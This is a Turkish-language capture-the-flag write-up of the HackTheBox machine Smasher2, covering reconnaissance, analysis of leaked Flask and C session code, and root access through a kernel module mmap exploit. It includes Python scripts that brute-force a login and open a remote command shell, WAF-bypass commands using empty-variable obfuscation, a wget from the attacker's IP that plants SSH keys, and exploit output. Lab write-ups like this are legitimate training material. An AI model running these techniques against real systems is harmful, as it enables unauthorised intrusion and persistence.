HACKTHEBOX SMASHER2 WRITEUP
SMASHER2
Hackhebox ta insane
bir makine.
Bu benim ilk insane makinem :)
Nmap
Her zamanki gibi nmap ile başlıyorum.
# Nmap 7.80 scan initiated Wed Nov 27 14:17:52 2019 as: nmap -A -o nmap/smasher2-A.nmap 10.10.10.135
Nmap scan report for smasher2.htb (10.10.10.135)
Host is up (0.12s latency).
Not shown: 997 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 23:a3:55:a8:c6:cc:74:cc:4d:c7:2c:f8:fc:20:4e:5a (RSA)
| 256 16:21:ba:ce:8c:85:62:04:2e:8c:79:fa:0e:ea:9d:33 (ECDSA)
|_ 256 00:97:93:b8:59:b5:0f:79:52:e1:8a:f1:4f:ba:ac:b4 (ED25519)
53/tcp open domain ISC BIND 9.11.3-1ubuntu1.3 (Ubuntu Linux)
| dns-nsid:
|_ bind.version: 9.11.3-1ubuntu1.3-Ubuntu
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: 403 Forbidden
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Nov 27 14:18:12 2019 -- 1 IP address (1 host up) scanned in 19.87 seconds
- 22 . portta bir ssh servisimiz var.
- 53 . portta dns çalışıyor.
- 80 . portta http çaşılıyor. Server ise apache2.
Dirb
Port 80 açık olduğu için gobuster
ile taramaya başlıyorum.
$ gobuster dir -u http://smasher2.htb/ -w /usr/share/wordlists/dirb/common.txt
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: http://smasher2.htb/
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirb/common.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: gobuster/3.0.1
[+] Timeout: 10s
===============================================================
2019/12/11 14:19:03 Starting gobuster
===============================================================
/.bash_history (Status: 403)
/.bashrc (Status: 403)
. . . . .
. . . . .
/backup (Status: 301)
. . . . .
. . . . .
===============================================================
2019/12/11 14:19:54 Finished
===============================================================
sunucuda backup dizini olduğunu görüyorum. Ardından dizine gittiğimde 2 tane dosya ile karşılaşıyorum. ses.so
ve auth.py
. Bu dosyaları kaydediyorum.
Dns
Yoluma dns ile devam ediyorum. smasher2.htb
domainini dns server üzerinden dig
ile sorguluyorum.
$ dig ANY @10.10.10.135 smasher2.htb
; <<>> DiG 9.11.5-P4-5.1+b1-Debian <<>> ANY @10.10.10.135 smasher2.htb
; (1 server found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 45787
;; flags: qr aa rd; QUERY: 1, ANSWER: 5, AUTHORITY: 0, ADDITIONAL: 3
;; WARNING: recursion requested but not available
;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: 2236c1b35e6508bd25774ea05df0d29ac0caab5980dc0655 (good)
;; QUESTION SECTION:
;smasher2.htb. IN ANY
;; ANSWER SECTION:
smasher2.htb. 604800 IN SOA smasher2.htb. root.smasher2.htb. 41 604800 86400 2419200 604800
smasher2.htb. 604800 IN NS smasher2.htb.
smasher2.htb. 604800 IN A 127.0.0.1
smasher2.htb. 604800 IN AAAA ::1
smasher2.htb. 604800 IN PTR wonderfulsessionmanager.smasher2.htb.
;; ADDITIONAL SECTION:
smasher2.htb. 604800 IN A 127.0.0.1
smasher2.htb. 604800 IN AAAA ::1
;; Query time: 206 msec
;; SERVER: 10.10.10.135#53(10.10.10.135)
;; WHEN: Wed Dec 11 14:27:25 +03 2019
;; MSG SIZE rcvd: 250
Yeni domainler bulduk. Bunlar:
- wonderfulsessionmanager.smasher2.htb
- root.smasher2.htb
wonderfulsessionmanager
Burada biraz bilgi toplamaya çalıştım. Fakat burası çok stabil değil. Servis basit bir dirb taramasında bile çöküyor. Bu yüzden burayı şimdilik atlıyorum.
Session Manager
backup dizininden indirdiğim dosyaları analiz etmeye başlıyorum. auth.py
basit bir flask uygulaması. ses.so
ise c ile yazılmış bir python modülü. auth.py
wonderfulsessionmanager subdomaininde kullanılan uygulama.
Auth.py
Bu dosyayı genel hatları ile inceleyelim.
def get_secure_key
Bu fonksiyon random byte lar üretiyor ve bunları hex ile encode ediyor. Random medin üretiyor gibi düşünebilirsiniz.
craft_secure_token
def craft_secure_token(content):
# content parametresi kullanıcı bilgilerinin bulunduğu bir str
# admin:admin gibi
# burada hmac hash oluşturuyor. Bu authentication işleminde kullanılacak
h = hmac.new("HMACSecureKey123!", base64.b64encode(content).encode(), hashlib.sha256)
# hex olarak encode et
return h.hexdigest()
before_request
Her requestten önce çalışıyor. Yaptıpı işlem ise şu
İstek anasayfaya geliyorsa sessionu kontrol ediyor. Session var ise isteği işlemeye devam ediyor. Eğer yok ise yeni bir tane session oluşturuyor.
İstek anasayfaya gelmiyorsa ve session oluşmamışsa anasayfaya yönlendiriyor. Session oluşmuşsa isteğe devam ediliyor.
Bu fonksiyondaki asıl amaç geçerli bir session geldiğinden emin olmak.
safe_init_manager
Giriş yapan kullanıcı için session oluşturuyor. Bu kısımdaki credentials lerin hardcoded olduğuna dikkat edin.
login = ["<REDACTED>", "<REDACTED>"]
login
Burası kullanıcının giriş yaptığı sayfa. Buraya post istği ile json formatında gerekli bilgiler gittiği taktirde login işlemini tamamlıyor. Geri dönüş olarak bir api_key
dönüyor.
job
Bu kısım ise apiden gelen isteklerin bash
kabuğu ile çalıştırılmasını sağlıyor. Bu alana girebilmek için giriş yapıp api_key
almak gerekiyor. Yani rce yi buradan alacağız.
Diğer Fonksiyonlar ve Dosyalar
log_creds(ip, c)
her doğru gibişi logluyor.safe_get_manager(id)
manageri getiriyor.safe_have_manager(id)
böyle bir manager var mı?after_request(resp)
requestten sonra responsu dönder
Bu arada sitenin template dosyaları backup altına yedeklenmemiş. Bu yüzden localde çalışırken hata almamak için 2 tane dosya oluşturmak faydalı olabilir.
.
├── auth.py
├── ses.so
└── templates # ben ekledim
├── index.html # ben ekledim
└── login.html # ben ekledim
index
index sayfasını gösterview_login
login sayfasını göster
Ghidra
ses.so
dosyasını ghidra ile analiz etmeye başladım. Bu kısım biraz uzun sürdü ve yorucu oldu fakat sonunda istediğimi aldım.
Ghidra da sol taraftaki menüden fonksiyonları inceliyorum. SessionMagager_..
klasörü içindeki fonksiyonları görüyorum. Bu fonksiyonlar session işlemlerinden sorumlu fonksiyonlar.
Buradaki fonksiyonlar login işlemini, login deneme sayısını arttırmayı ve session başlatma işlemlerini yapıyor.
Tabikide hemen login fonksiyonuna döğru yöneliyorum.
İnceleme sırasında login işleminin ve parola karşılaştırma işleminin yapıldığı satırları buluyorum. Buraya yoğunlaşmaya başlıyorum.
Dikkatimi get_internal_usr
ve get_internal_pwd
fonksiyonları çekiyor. Bu fonksiyoları incelemeye koyuluyorum. Belki bu dosyanın içinde credential bulurum.
Biraz incelemeden sonra aslında bu iki fonksiyonun aynı olduğunu görüyorum. Yani tamamen aynı. Sanki copy paste hatası yapılış gibi …
Aralarındanki tek fark isim farkı. Aslında bu yani kullanıcı adı ve parola karşılaştırması sırasında yalnızca kullanıcı adına gre karşılaştırma yapılıyor. Kullanıcı adı ile parolaya aynı değeri girdiğimizde o kullanıcının gerçek parolasına bakılmaksızın giriş yapabiliyoruz. Sadece bir kullanıcı adına ihtiyacımız var.
Authentication
Kullanıcı adı bulmak için basit bir script yazdım. Birde wordlsit.
#!/bin/python3
import requests
import time
# uri = "http://localhost:5000/" # localde deneme yaparken
uri = "http://wonderfulsessionmanager.smasher2.htb/"
with open("username-wordlist.txt", "r") as file:
while True:
ss = requests.session()
ss.get(uri)
for i in range(9): # her 10 denemede session kilileniyor.
username = file.readline().strip()
creds = {"username": username, "password": username}
payload = {"data": creds}
r = ss.post(uri + "auth", json=payload)
if "endpoint" in r.text and "creation_date" in r.text:
print("[==PASS==]", username, r.text)
exit()
# print(f"{i} {payload} {r.text}")
time.sleep(0.5) # sunucunun crash olmaması için
Ve sonuç
$ python3 bruteforce-username.py
[==PASS==] Administrator {"authenticated":true,"result":{"creation_date":1576067717,"endpoint":"/api/<api_key>/job","key":"fe61e023b3c64d75b3965a5dd1a923e392c8baeac4ef870334fcad98e6b264f8"}}
Buradan kullanıcı adının Administrator
olduğunu öğreniyoruz. Gerçek parolayı bilmemize gerek yok. ses.so
modülündeki hatadan dolayı kullanıcı adı ve parolayı Administrator
yaparak girebiliyoruz.
Waf Bypass
Giriş yaptık şimdi geldi komut çalıştırmaya. Bu iş için küçük bir script daha yazdım.
import requests
import json
# uri = "http://localhost:5000/" # localde deneme yaparken
uri = "http://wonderfulsessionmanager.smasher2.htb/"
s = requests.session()
s.get(uri)
r = s.post(uri + "auth", json={"data": {"username": "Administrator", "password": "Administrator"}})
api_key = json.loads(r.text)["result"]["key"]
print(r.text)
while True:
cmd = input("$ ")
r = s.post(f"{uri}api/{api_key}/job", json={"schedule": cmd})
try:
output = json.loads(r.text)
except:
# print(r.text)
if "don't have permission" in r.text:
print("[=== NO PERMISSION ===]")
continue
if output["success"] == True:
print(output["result"])
else:
print(output)
Ve çalıştırıyorum.
$ python3 rce.py
{"authenticated":true,"result":{"creation_date":1576068151,"endpoint":"/api/<api_key>/job","key":"fe61e023b3c64d75b3965a5dd1a923e392c8baeac4ef870334fcad98e6b264f8"}}
$ whoami
dzonerzy
$ id
[=== NO PERMISSION ===]
Bazı komutlar engellenmiş. Yani web uygulaması ile aramızda waf var. Wafı bypass etmek biraz uğraştırdı fakat birkaç güzel yazı sayesinde sonunda yaptım.
Adımlar ise şu şekilde:
- önce
authorized_keys
diye dosya oluştur ve ssh public keyini buraya yaz. - ardından
authorized_keys
dosyasını makineye indir. .ssh
klasörü oluştur.- ce
authorized_keys
dosyasını.ssh
dizinine taşı.
Önce python ile http server başlatıyorum.
Ardından authorized_keys
dosyamı indiriyorum. .ssh
dizini oluşturup, dosyamı oraya kopyalıyorum.
Waf çoğu komutu engellemiş ve bazı stringleride engellemiş. Bundaldan bazıları mkdir
, ssh
. Buradaki ${aa}
ifadesi wafı bypasslamak için. Bash daha önce tanımlanmayan bir değişkene boş string gibi davranır. yukarıda girilen komutlar aslında şuna denk
wget "http://10.10.14.194:8000/authorized_keys"
mk${aa}dir "../.ss${aa}h"
cp "authorized_keys" "../.ss${aa}h/"
# buna eşit
wget "http://10.10.14.194:8000/authorized_keys"
mkdir "../.ssh"
cp "authorized_keys" "../.ssh/"
Bu adımlardan sonra ssh üzerinden makineye bağlanabiledeğiz.
Dzonerzy
Ssh ile bağlandıktan sonra. user.txt
dosyasını okuyabilirsiniz. Ardından dizinde küçük bir notta var.
dzonerzy@smasher2:~$ cat README
.|'''.| '||
||.. ' .. .. .. .... .... || .. .... ... ..
''|||. || || || '' .|| ||. ' ||' || .|...|| ||' ''
. '|| || || || .|' || . '|.. || || || ||
|'....|' .|| || ||. '|..'|' |'..|' .||. ||. '|...' .||. v2.0
by DZONERZY
Ye you've come this far and I hope you've learned something new, smasher wasn't created
with the intent to be a simple puzzle game... but instead I just wanted to pass my limited
knowledge to you fellow hacker, I know it's not much but this time you'll need more than
skill, you will need to think outside the box to complete smasher 2 , have fun and happy
Hacking!
free(knowledge);
free(knowledge);
* error for object 0xd00000000b400: pointer being freed was not allocated *
En alttaki hint banim pek işime yaramadı. Fakat yinede bir hint :(
Başarısız Denemeler
Roota giden yol baya uğraştırıcı oldu. Bir zafiyet bulmak için baya uğraştım fakat pek bir şey bulamadım. İşte bazı başarısız denemelerim.
Standart linpeas.sh
gibi pspy
gibi bilgi toplama yöntemlerini kullandım. Buralardan bir şey gelmedi.
Daha sonra dizinleri kurcaladım. Bir bilgi parola varmı diye bütün dizinlere bakrım. Pek bir şey çıkmadı.
Sonradan kurulan paketlere baktım.
**dzonerzy@smasher2:/sbin$** for i in $(ls $(pwd)/*); do dpkg --search $i 1>/dev/null; done
dpkg-query: no path found matching pattern /sbin/mount.vmhgfs
**dzonerzy@smasher2:/bin$** for i in $(ls $(pwd)/*); do dpkg --search $i 1>/dev/null; done
dpkg-query: no path found matching pattern /bin/mt
dpkg-query: no path found matching pattern /bin/nc
dpkg-query: no path found matching pattern /bin/netcat
**dzonerzy@smasher2:/usr/local/bin$** for i in $(ls $(pwd)/*); do dpkg --search $i 1>/dev/null; done
dpkg-query: no path found matching pattern /usr/local/bin/flask
Çalıştırılabilir dizinlerdeki dosyalar üzerinde dpkg --search
yaparak kurulan programları buldum. Ve bunlarla ilgili zafiyetler araştırdım.
mt nc netcat flask mount.vmhgfs
Bunlar yaptığım bazı hatalı denemeler.
Log Dosyaları
Uzun bir süre geçtikten sonra log dosyalarını incelemeye karar verdim. Logları incelemeye başlamadan önce kendi bilgisayarıma scp
yardımı ile indirdim.
Ve ardından incelemeye başladım. Yani her bir satırını okulama başladım. Bi kaç başarısız incelemeden sonra auth.log
ismindeki loglardan işe yarar bir şeyler çıkmaya başladı.
Aug 23 11:38:12 smasher2 sudo: root : TTY=unknown ; PWD=/ ; USER=root ; COMMAND=/sbin/insmod /lib/modules/4.15.0-45-generic/kernel/drivers/hid/dhid.ko
Root kullanıcısı sisteme bir kernel mokülü yüklemiş. Bu modül üzerine yoğunlaşmaya başlıyorum.
Mmap açığı
Bu dosyayı inceliyorum. önce strings
ile modüldeki stringleri okuyorum.
$ strings /lib/modules/4.15.0-45-generic/kernel/drivers/hid/dhid.ko
. . . . .
. . . . .
This is the right way, please exploit this shit!
. . . . .
. . . . .
Makineyi yapanlar bir hint de bırakmış. Ardından Bu dosyayı kurcalamaya başlıyorum ve internette araştırıyorum.
Araştırmam sırasında mmap
fonksiyonunda bir hata olduğunu ve bununla ilgili makale ve exploitler buluyorum. Bende ardından exploiti vardır diyerekten exploit aramaya başladım. Aramam devam ederken güzel bir makaleye denk geldim. Buraya linkini brakıyorum
Burada exploitin nasıl yazıldığını ve zafiyeti açıklıyor.
exploit
Bende hazır yazılmış exploit bulmak için yola koyuldum. Bir github sayfasında muradıma eriyorum.
Modül farklı isimle makineye yüklenmiş bu yüzden exploit üzerinde bodülün yolunu veriyorum. exploit 10. satırı şu şekilde değiştiriyorum.
int fd = open("/dev/dhid", O_RDWR);
Ardından exploiti makineye atıyorum ve çalıştırıyorum.
dzonerzy@smasher2:/tmp/he$ nano exploit.c
dzonerzy@smasher2:/tmp/he$ gcc exploit.c
exploit.c: In function ‘main’:
exploit.c:29:30: warning: format ‘%lx’ expects argument of type ‘long unsigned int’, but argument 2 has type ‘unsigned int *’ [-Wformat=]
printf("[+] mmap OK addr: %lx\n", addr);
~~^
%ls
dzonerzy@smasher2:/tmp/he$ ./a.out
[+] PID: 1453
[+] Open OK fd: 3
[+] mmap OK addr: 42424000
[+] UID: 1000
[+] Found cred structure! ptr: 0xaedb8304, credNum: 1
[+] Found cred structure! ptr: 0xaedb8784, credNum: 2
[+] Found cred structure! ptr: 0xaedb92c4, credNum: 3
[+] GOT ROOT!
# id
uid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),30(dip),46(plugdev),111(lpadmin),112(sambashare),1000(dzonerzy)
# cd /root
# ls
CREDITS.txt root.txt
# cat root.txt
Ve artık root
kullanıcısıyız.
Ve son olarakta makineyi tasarlayanların notunu brakarak yazımı bitiriyorum.
root@smasher2:~# cat CREDITS.txt
SMASHER2 by dzonerzy@htb in collaboration with xg0@htb have fun and be ready for smasher3!
Ve kendi imzamı :)
_ _ _ _________
| |__ __ _| |_ ___ __ _| |_|___ /___ \
| '_ \ / _` | __/ __|/ _` | __| |_ \ __) |
| | | | (_| | |_\__ \ (_| | |_ ___) / __/
|_| |_|\__,_|\__|___/\__,_|\__|____/_____|